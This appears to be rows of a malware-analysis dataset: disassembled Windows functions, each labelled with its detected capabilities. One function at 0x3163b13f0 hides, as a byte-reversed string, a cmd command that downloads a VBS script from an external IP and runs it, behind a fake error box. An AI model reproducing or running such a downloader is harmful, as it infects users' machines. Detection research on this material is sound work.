joyce8/EMBER2024-capa huggingface dataset:
Function at 0x18000dc90
Capabilities:
Validate payment card number using luhn algorithm

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov esi, edx
mov dword [rcx + 0x74], 0
mov rbx, rcx
mov edi, 0x7fffffff
movsx ecx, byte [rbx + 0x78]
lea eax, [rcx - 0x30]
cmp al, 9
ja 0x18000dd5c
lea r8d, [rcx - 0x30]
cmp r8d, 0xffffffff
je 0x18000dd5c
mov r9d, dword [rbx + 0x74]
mov ecx, 0x7fffffff
sub ecx, r8d
mov eax, 0x66666667
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
cmp r9d, edx
jg 0x18000dd75
lea eax, [r9 + r9*4]
dec edi
lea ecx, [r8 + rax*2]
mov rax, qword [rbx]
mov dword [rbx + 0x74], ecx
mov rcx, qword [rbx + 0x10]
cmp rax, rcx
je 0x18000dd4c
cmp byte [rax], 0x5c
jne 0x18000dd46
lea rdx, [rax + 1]
cmp rdx, rcx
je 0x18000dd46
mov r8d, dword [rbx + 0x80]
test r8b, 8
jne 0x18000dd32
movzx ecx, byte [rdx]
sub cl, 0x28
cmp cl, 1
jbe 0x18000dd43
test r8b, 0x10
jne 0x18000dd46
movzx ecx, byte [rdx]
sub cl, 0x7b
test cl, 0xfd
jne 0x18000dd46
mov rax, rdx
inc rax
mov qword [rbx], rax
mov rcx, rbx
call fcn.180011d10
test edi, edi
jne 0x18000dcb0
mov rbx, qword [rsp + 0x30]
cmp edi, 0x7fffffff
mov rsi, qword [rsp + 0x38]
setne al
add rsp, 0x20
pop rdi
ret
mov edx, esi
mov rcx, rbx
call fcn.18000f010
int3

Function at 0x1800127c0
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
movabs rax, 0xcbf29ce484222325
mov r9d, 0
sub r8, rdx
je 0x1800127f4
movabs r10, 0x100000001b3
nop
movzx ecx, byte [r9 + rdx]
inc r9
xor rax, rcx
imul rax, r10
cmp r9, r8
jb 0x1800127e0
ret
Function at 0x18001cff0
Capabilities:
Read file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x20
mov rbp, r8
mov r14, rdx
mov rdi, rcx
test r8, r8
jg 0x18001d01e
xor eax, eax
jmp 0x18001d104
cmp qword [rcx + 0x68], 0
je 0x18001d02f
call fcn.180015220
jmp 0x18001d104
mov rax, qword [rcx + 0x38]
mov rsi, rbp
mov rdx, qword [rax]
test rdx, rdx
je 0x18001d046
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x18001d048
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x18001d07a
cmp rax, rbp
mov rbx, rbp
mov rcx, r14
cmovb rbx, rax
mov r8, rbx
call fcn.180040800
mov rax, qword [rdi + 0x50]
add r14, rbx
sub rsi, rbx
sub dword [rax], ebx
mov rcx, qword [rdi + 0x38]
movsxd rax, ebx
add qword [rcx], rax
cmp qword [rdi + 0x80], 0
je 0x18001d0fe
mov r8, qword [rdi + 0x18]
lea rax, [rdi + 0x70]
cmp qword [r8], rax
jne 0x18001d0b1
mov rcx, qword [rdi + 0x88]
mov rdx, qword [rdi + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rdi + 0x38]
mov qword [rax], rcx
mov rax, qword [rdi + 0x50]
mov dword [rax], edx
mov ebx, 0xfff
jmp 0x18001d0da
mov r9, qword [rdi + 0x80]
mov r8, rbx
mov edx, 1
mov rcx, r14
call fcn.1800505ec
add r14, rax
sub rsi, rax
cmp rax, rbx
jne 0x18001d0fe
cmp rsi, rbx
ja 0x18001d0b8
test rsi, rsi
je 0x18001d0fe
mov r9, qword [rdi + 0x80]
mov r8, rsi
mov edx, 1
mov rcx, r14
call fcn.1800505ec
sub rsi, rax
sub rbp, rsi
mov rax, rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret

Function at 0x1800347d0
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
lea r9, [rdx + rdx]
movabs r8, 0xcbf29ce484222325
xor edx, edx
test r9, r9
je 0x18001ef4e
movzx eax, byte [rdx + rcx]
movabs r10, 0x100000001b3
xor r8, rax
inc rdx
imul r8, r10
cmp rdx, r9
jb 0x18001ef31
mov rax, r8
ret
sub r8, rdx
mov rcx, rdx
sar r8, 1
mov rdx, r8
jmp 0x18001ef1c
Function at 0x18005d4c0
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
mov eax, 0x1050
call fcn.18003ef20
sub rsp, rax
mov rax, qword [0x1800882a8]
xor rax, rsp
mov qword [rsp + 0x1040], rax
mov r15, r8
mov rbp, rdx
mov rbx, rcx
call fcn.180058d70
xor edi, edi
movsxd r14, eax
cmp dword [rbx + 0x10], edi
jne 0x18005d50f
mov rax, rbp
jmp 0x18005d617
mov rax, qword [rbx]
mov rcx, r14
sub rax, qword [rbx + 8]
and ecx, 0x3f
cqo
mov rbx, r14
sub rax, rdx
sar rbx, 6
sar rax, 1
mov r9, r15
lea r12, [rcx + rcx*8]
mov rsi, rax
lea rax, [0x180000000]
xor r8d, r8d
mov rdx, qword [rax + rbx*8 + 0x8cdb0]
mov ecx, r14d
mov rdx, qword [rdx + r12*8 + 0x30]
call fcn.18005e5e0
mov r13, rax
lea rax, [0x180000000]
mov rcx, qword [rax + rbx*8 + 0x8cdb0]
cmp r13, qword [rcx + r12*8 + 0x30]
jne 0x18005d613
mov rcx, qword [rcx + r12*8 + 0x28]
lea r9, [rsp + 0x30]
mov r8d, 0x1000
mov qword [rsp + 0x20], rdi
lea rdx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x18005d613
mov r9, r15
xor r8d, r8d
mov rdx, rbp
mov ecx, r14d
call fcn.18005e5e0
test rax, rax
js 0x18005d613
mov eax, dword [rsp + 0x30]
cmp rsi, rax
jg 0x18005d613
lea rdx, [rsp + 0x40]
add rdx, rax
lea rcx, [rsp + 0x40]
test rsi, rsi
je 0x18005d605
lea r8, [0x180000000]
cmp rcx, rdx
jae 0x18005d605
cmp byte [rcx], 0xd
jne 0x18005d5eb
lea rax, [rdx - 1]
cmp rcx, rax
jae 0x18005d5fa
cmp byte [rcx + 1], 0xa
jne 0x18005d5fa
inc rcx
jmp 0x18005d5fa
movzx eax, byte [rcx]
movsx rax, byte [rax + r8 + 0x88680]
add rcx, rax
inc rdi
inc rcx
cmp rdi, rsi
jne 0x18005d5cd
lea rax, [rsp + 0x40]
sub rcx, rax
lea rax, [rcx + r13]
jmp 0x18005d617
or rax, 0xffffffffffffffff
mov rcx, qword [rsp + 0x1040]
xor rcx, rsp
call fcn.18003ef80
mov rbx, qword [rsp + 0x1090]
add rsp, 0x1050
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret

Function at 0x18005d838
Capabilities:
Get file size

Disassembly:
push rbx
sub rsp, 0x20
mov edx, dword [rcx + 0x14]
nop
shr edx, 3
test dl, 1
je 0x18005d84e
mov al, 1
jmp 0x18005d8ae
mov eax, dword [rcx + 0x14]
nop
test al, 0xc0
je 0x18005d85f
mov rax, qword [rcx + 8]
cmp qword [rcx], rax
je 0x18005d8ac
mov ecx, dword [rcx + 0x18]
nop
call fcn.18006561c
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x18005d8ac
mov r9d, 1
lea r8, [rsp + 0x38]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x18005d8ac
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x18005d8ac
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
sete al
jmp 0x18005d8ae
xor al, al
add rsp, 0x20
pop rbx
ret
Function at 0x18005d980
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x30
movsxd r15, ecx
lea r9, [0x18008cdb0]
mov rax, r15
mov rbp, r15
and eax, 0x3f
sar rbp, 6
mov ecx, 4
xor esi, esi
mov r14, rdx
lea rdi, [rax + rax*8]
mov rax, qword [r9 + rbp*8]
lea r13d, [rcx + 6]
mov r10, qword [rax + rdi*8 + 0x28]
test r8, r8
je 0x18005d9d7
cmp word [rdx], r13w
jne 0x18005d9d7
or byte [rax + rdi*8 + 0x38], cl
jmp 0x18005d9dc
and byte [rax + rdi*8 + 0x38], 0xfb
lea r8, [rdx + r8*2]
mov rbx, r14
cmp r14, r8
jae 0x18005db01
mov r11d, 0xd
lea r12d, [r11 - 0xb]
movzx ecx, word [rdx]
cmp cx, 0x1a
je 0x18005db22
lea r9, [rdx + 2]
cmp cx, r11w
je 0x18005da15
mov rdx, r9
mov word [rbx], cx
jmp 0x18005da3c
cmp r9, r8
jae 0x18005da4c
cmp word [r9], r13w
mov rax, r12
mov ecx, 4
cmove rax, rcx
add rdx, rax
mov eax, r13d
cmp word [r9], r13w
cmovne ax, r11w
mov word [rbx], ax
mov rax, r12
add rbx, rax
cmp rdx, r8
jb 0x18005d9f6
jmp 0x18005db01
lea r9, [rsp + 0x80]
mov qword [rsp + 0x20], rsi
mov r8d, r12d
lea rdx, [rsp + 0x70]
mov rcx, r10
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x18005daf6
cmp dword [rsp + 0x80], esi
je 0x18005daf6
lea r8, [0x18008cdb0]
mov rax, qword [r8 + rbp*8]
test byte [rax + rdi*8 + 0x38], 0x48
je 0x18005dace
movzx eax, word [rsp + 0x70]
cmp ax, r13w
jne 0x18005da9e
mov word [rbx], r13w
jmp 0x18005dafe
mov ecx, 0xd
mov word [rsp + 0x78], ax
mov word [rbx], cx
mov rax, qword [r8 + rbp*8]
lea rcx, [rax + rdi*8]
mov al, byte [rsp + rsi + 0x78]
mov byte [rcx + rsi + 0x3a], al
inc rsi
cmp rsi, r12
jl 0x18005daab
mov rax, qword [r8 + rbp*8]
mov byte [rax + rdi*8 + 0x3c], r13b
jmp 0x18005dafe
cmp word [rsp + 0x70], r13w
jne 0x18005dadb
cmp rbx, r14
je 0x18005da98
mov rdx, 0xfffffffffffffffe
mov ecx, r15d
lea r8d, [rdx + 3]
call fcn.18005e5e8
cmp word [rsp + 0x70], r13w
je 0x18005db01
mov ecx, 0xd
mov word [rbx], cx
add rbx, r12
sub rbx, r14
sar rbx, 1
lea eax, [rbx + rbx]
mov rbx, qword [rsp + 0x88]
add rsp, 0x30
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
lea r8, [0x18008cdb0]
mov rdx, qword [r8 + rbp*8]
mov al, byte [rdx + rdi*8 + 0x38]
test al, 0x40
jne 0x18005dafb
or al, r12b
mov byte [rdx + rdi*8 + 0x38], al
jmp 0x18005db01
Function at 0x1800609d8
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x180060a08
xor eax, eax
jmp 0x180060acb
mov rbp, rbx
cmp word [rax], si
je 0x180060a2d
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x180060a14
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x180060a10
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.180059640
movsxd r14, eax
test eax, eax
jne 0x180060a6b
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x180060a01
mov rcx, r14
call fcn.180057b14
mov rdi, rax
test rax, rax
jne 0x180060a84
xor ecx, ecx
call fcn.180057ad8
jmp 0x180060a60
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.180059640
test eax, eax
jne 0x180060ab5
mov rcx, rdi
call fcn.180057ad8
jmp 0x180060abf
xor ecx, ecx
call fcn.180057ad8
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret

Function at 0x180060ae8
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor ebp, ebp
mov rbx, rax
test rax, rax
je 0x180060b6f
mov rsi, rbx
cmp word [rax], bp
je 0x180060b2e
or rax, 0xffffffffffffffff
inc rax
cmp word [rsi + rax*2], bp
jne 0x180060b18
lea rsi, [rsi + rax*2]
add rsi, 2
cmp word [rsi], bp
jne 0x180060b14
sub rsi, rbx
add rsi, 2
sar rsi, 1
add rsi, rsi
mov rcx, rsi
call fcn.180057b14
mov rdi, rax
test rax, rax
je 0x180060b5c
mov r8, rsi
mov rdx, rbx
mov rcx, rax
call fcn.180040800
mov rbp, rdi
xor ecx, ecx
call fcn.180057ad8
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x180063858
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov esi, edx
mov ebx, ecx
call fcn.180055db4
mov ecx, ebx
lea r8, [rsp + 0x30]
and ecx, 0x3ff
mov r9d, 2
bts ecx, 0xa
mov edx, 0x20000001
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
xor edx, edx
test eax, eax
je 0x1800638f9
cmp ebx, dword [rsp + 0x30]
je 0x1800638f2
test esi, esi
je 0x1800638f2
mov r10, qword [rdi + 0x98]
mov r9d, edx
movzx r8d, word [r10]
lea rcx, [r10 + 2]
lea eax, [r8 - 0x41]
cmp ax, 0x19
jbe 0x1800638cd
sub r8w, 0x61
cmp r8w, 0x19
ja 0x1800638da
movzx r8d, word [rcx]
inc r9d
add rcx, 2
jmp 0x1800638b7
or rax, 0xffffffffffffffff
inc rax
cmp word [r10 + rax*2], dx
jne 0x1800638de
cmp r9d, eax
setne dl
mov eax, edx
jmp 0x1800638fb
mov eax, 1
jmp 0x1800638fb
xor eax, eax
mov rbx, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x1400030e0
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.140003fe0
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call fcn.140003fe0
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop dword [rax]

Function at 0x140003150
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x1400090a4]
mov rbx, rcx
test esi, esi
jle 0x140003280
mov rax, qword [0x1400090a8]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x14000319b
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x140003225
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x140003180
mov rcx, rbx
call fcn.140003ba0
mov rdi, rax
test rax, rax
je 0x1400032a2
mov rax, qword [0x1400090a8]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call fcn.140003ce0
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x1400090a8]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140003287
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x14000321e
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x140003230
add dword [0x1400090a4], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x1400090a8]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x14000321e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.1400030e0
nop dword [rax]
xor esi, esi
jmp 0x1400031a8
mov rax, qword [0x1400090a8]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.1400030e0
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call fcn.1400030e0
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x140003810
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x140009100]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x1400090e0]
test rbx, rbx
je 0x14000386c
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x140003863
test rsi, rsi
je 0x140003863
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140003848
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x140003ba0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x140006520]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140003bc0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140003bc8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140003bc0
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x140003c1d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x140003c14
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140003bc0
add rax, 0x28
cmp rax, r9
jne 0x140003c00
xor eax, eax
ret

Function at 0x140003c20
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140006520]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x140003c3f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x140003c48
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x140003c3f
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x140003ce0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140006520]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x140003cff
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x140003d08
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret
Function at 0x3163b13f0
Capabilities:
Create process on windows

Disassembly:
sub rsp, 0xb8
mov r8d, 0x73
mov r10d, 0x7f
movabs rax, 0x69635c312e766273
movabs rdx, 0x6572735c7075626c
mov qword [rsp + 0x20], rax
lea rcx, [rsp + 0x20]
movabs rax, 0x302626633a5c7573
mov qword [rsp + 0x28], rdx
movabs rdx, 0x696d656f75742031
mov qword [rsp + 0x30], rax
movabs rax, 0x6c43475163262674
mov qword [rsp + 0x38], rdx
movabs rdx, 0x34372f4853472f56
mov qword [rsp + 0x40], rax
movabs rax, 0x34322e3131302e31
mov qword [rsp + 0x48], rdx
movabs rdx, 0x74703a2f2f36362e
mov qword [rsp + 0x50], rax
movabs rax, 0x312e766273206874
mov qword [rsp + 0x58], rdx
movabs rdx, 0x5c7075626c69635c
mov qword [rsp + 0x60], rax
movabs rax, 0x633a5c7573657273
mov qword [rsp + 0x68], rdx
movabs rdx, 0x5e75726c202d6f20
mov qword [rsp + 0x70], rax
movabs rax, 0x657865202f632063
mov qword [rsp + 0x78], rdx
movabs rdx, 0x6d33325c636d642e
mov qword [rsp + 0x80], rax
movabs rax, 0x77735c7379737465
mov qword [rsp + 0x88], rdx
movabs rdx, 0x633a5c77696e646f
mov qword [rsp + 0x90], rax
mov eax, 0x7f
mov qword [rsp + 0x98], rdx
mov rdx, rcx
mov byte [rsp + 0xa0], 0
jmp 0x3163b1524
movzx r8d, byte [rdx]
movzx r9d, byte [rcx + rax]
add rdx, 1
mov byte [rdx - 1], r9b
mov byte [rcx + rax], r8b
sub rax, 1
mov r8d, r10d
sub r8d, eax
cmp r8d, eax
jl 0x3163b1520
xor edx, edx
call qword [sym.imp.KERNEL32.dll_WinExec]
mov r9d, 0x10
lea r8, str.Internal_Error
xor ecx, ecx
lea rdx, str.An_internal_error_has_occurred.
call qword [sym.imp.USER32.dll_MessageBoxA]
xor eax, eax
add rsp, 0xb8
ret

Function at 0x3163b1720
Capabilities:
Write file on windows

Disassembly:
push r12
push rbx
sub rsp, 0x38
mov r12, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.3163b2420
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rbx, qword [rsp + 0x28]
mov ecx, 2
call fcn.3163b2420
mov rdx, r12
mov rcx, rax
mov r8, rbx
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop word [rax + rax]
Function at 0x3163b1790
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rsi
push rbx
sub rsp, 0x50
movsxd rbx, dword [0x3163b7064]
mov r12, rcx
test ebx, ebx
jle 0x3163b18c0
mov rax, qword [0x3163b7068]
xor ecx, ecx
add rax, 0x18
nop word [rax + rax]
mov rdx, qword [rax]
cmp rdx, r12
ja 0x3163b17dc
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp r12, rdx
jb 0x3163b1863
add ecx, 1
add rax, 0x28
cmp ecx, ebx
jne 0x3163b17c0
mov rcx, r12
call fcn.3163b1f10
mov rsi, rax
test rax, rax
je 0x3163b18e2
mov rax, qword [0x3163b7068]
lea rbx, [rbx + rbx*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rsi
mov dword [rax], 0
call fcn.3163b2040
mov ecx, dword [rsi + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x3163b7068]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x3163b18c7
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x3163b185c
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x3163b1870
add dword [0x3163b7064], 1
add rsp, 0x50
pop rbx
pop rsi
pop r12
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 4
mov eax, 0x40
cmovne r8d, eax
add rbx, qword [0x3163b7068]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x3163b185c
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.3163b1720
nop dword [rax]
xor ebx, ebx
jmp 0x3163b17e7
mov rax, qword [0x3163b7068]
mov edx, dword [rsi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.3163b1720
mov rdx, r12
lea rcx, str.Address__p_has_no_image_section
call fcn.3163b1720
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x3163b1b80
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x3163b70a0]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x3163b7080]
test rbx, rbx
je 0x3163b1bd4
mov rdi, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rsi, qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [rbx]
call rdi
mov r12, rax
call rsi
test eax, eax
jne 0x3163b1bcb
test r12, r12
je 0x3163b1bcb
mov rax, qword [rbx + 8]
mov rcx, r12
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x3163b1bb0
lea rcx, [0x3163b70a0]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x3163b1f10
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x3163b4220]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x3163b1f30
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x3163b1f38
ret
cmp word [r8 + 0x18], 0x20b
jne 0x3163b1f30
movzx eax, word [r8 + 0x14]
sub rcx, rdx
movzx edx, word [r8 + 6]
lea rax, [r8 + rax + 0x18]
test edx, edx
je 0x3163b1f85
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x3163b1f7c
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x3163b1f30
add rax, 0x28
cmp rax, r9
jne 0x3163b1f68
xor eax, eax
ret

Function at 0x3163b1f90
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x3163b4220]
xor r8d, r8d
cmp word [rax], 0x5a4d
jne 0x3163b1fb0
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x3163b1fb8
mov eax, r8d
ret
cmp word [rax + 0x18], 0x20b
jne 0x3163b1fb0
movzx r8d, word [rax + 6]
mov eax, r8d
ret

Function at 0x3163b2040
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x3163b4220]
xor r8d, r8d
cmp word [rax], 0x5a4d
jne 0x3163b2060
movsxd rdx, dword [rax + 0x3c]
add rdx, rax
cmp dword [rdx], 0x4550
je 0x3163b2068
mov rax, r8
ret
cmp word [rdx + 0x18], 0x20b
cmove r8, rax
mov rax, r8
ret
Function at 0x140035c40
Capabilities:
Generate random numbers using a mersenne twister

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x38
mov rax, qword [rsp + 0x40]
cmp dword [rax], 0x138
jne 0x140035c62
mov rcx, qword [rsp + 0x40]
call fcn.140037370
jmp 0x140035c79
mov rax, qword [rsp + 0x40]
cmp dword [rax], 0x270
jb 0x140035c79
mov rcx, qword [rsp + 0x40]
call fcn.140037120
mov rax, qword [rsp + 0x40]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x40]
mov rax, qword [rcx + rax*8 + 8]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x40]
mov eax, dword [rax]
inc eax
mov rcx, qword [rsp + 0x40]
mov dword [rcx], eax
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
shr rax, 0x1d
mov rcx, qword [rsp + 0x40]
and rax, qword [rcx + 0x1388]
mov rcx, qword [rsp + 0x20]
xor rcx, rax
mov rax, rcx
